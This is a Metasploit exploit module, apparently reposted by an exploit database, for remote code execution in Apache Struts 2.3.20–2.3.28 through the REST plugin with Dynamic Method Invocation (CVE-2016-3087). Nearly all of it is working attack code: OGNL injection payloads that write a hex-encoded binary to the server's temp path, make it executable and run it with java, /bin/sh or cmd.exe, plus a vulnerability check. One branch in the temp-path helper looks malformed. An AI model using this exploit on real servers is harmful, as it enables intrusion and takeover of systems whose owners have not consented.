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# Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution Vulnerability

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
Execution can be performed when using REST Plugin with ! operator when
Dynamic Method Invocation is enabled.
},
'Author' => [
'Nixawk' # original metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-3087' ],
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91741' ]
],
'Platform' => %w{ java linux win },
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => 'Jun 01 2016',
'DefaultTarget' => 2))

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-rest-showcase/orders/3/']),
OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
], self.class)
end

def print_status(msg='')
super("#{peer} - #{msg}")
end

def get_target_platform
target.platform.platforms.first
end

def temp_path
@TMPPATH ||= lambda {
path = datastore['TMPPATH']
return nil unless path

case get_target_platform
when Msf::Module::Platform::Windows
slash = ''
when
slash = '/'
else
end

unless path.end_with?('/')
path << '/'
end
return path
}.call
end

def send_http_request(payload, params_hash)
uri = normalize_uri(datastore['TARGETURI'])
uri = "#{uri}/#{payload}"
resp = send_request_cgi(
'uri' => uri,
'version' => '1.1',
'method' => 'POST',
'vars_post' => params_hash
)
if resp && resp.code == 404
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
end
resp
end

def generate_rce_payload(code)
payload = ""
payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
payload << ","
payload << Rex::Text.uri_encode(code)
payload << ","
payload << Rex::Text.uri_encode("#xx.toString.json")
payload << "?"
payload << Rex::Text.uri_encode("#xx:#request.toString")
payload
end

def upload_exec(cmd, filename, content)
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
var_e = rand_text_alpha_lower(4)
var_f = rand_text_alpha_lower(4)

code = "##{var_a}=new sun.misc.BASE64Decoder(),"
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"
code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"
code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"
code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"
payload = generate_rce_payload(code)

params_hash = {
var_d => Rex::Text.encode_base64(cmd),
var_e => Rex::Text.encode_base64(filename),
var_f => content
}
send_http_request(payload, params_hash)
end

def check
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(4)

addend_one = rand_text_numeric(rand(3) + 1).to_i
addend_two = rand_text_numeric(rand(3) + 1).to_i
sum = addend_one + addend_two
flag = Rex::Text.rand_text_alpha(5)

code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
code << "##{var_a}.close()"

payload = generate_rce_payload(code)
params_hash = { var_b => flag }

begin
resp = send_http_request(payload, params_hash)
rescue Msf::Exploit::Failed
return Exploit::CheckCode::Unknown
end

if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def exploit
payload_exe = rand_text_alphanumeric(4 + rand(4))
case target['Platform']
when 'java'
payload_exe = "#{temp_path}#{payload_exe}.jar"
pl_exe = payload.encoded_jar.pack
command = "java -jar #{payload_exe}"
when 'linux'
path = datastore['TMPPATH'] || '/tmp/'
pl_exe = generate_payload_exe
payload_exe = "#{path}#{payload_exe}"
command = "/bin/sh -c #{payload_exe}"
when 'win'
path = temp_path || '.'
pl_exe = generate_payload_exe
payload_exe = "#{path}#{payload_exe}.exe"
command = "cmd.exe /c #{payload_exe}"
else
fail_with(Failure::NoTarget, 'Unsupported target platform!')
end

pl_content = pl_exe.unpack('H*').join()

print_status("Uploading exploit to #{payload_exe}, and executing it.")
upload_exec(command, payload_exe, pl_content)

handler
end

end



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# Iranian Exploit DataBase = http://IeDb.Ir [2016-06-24]

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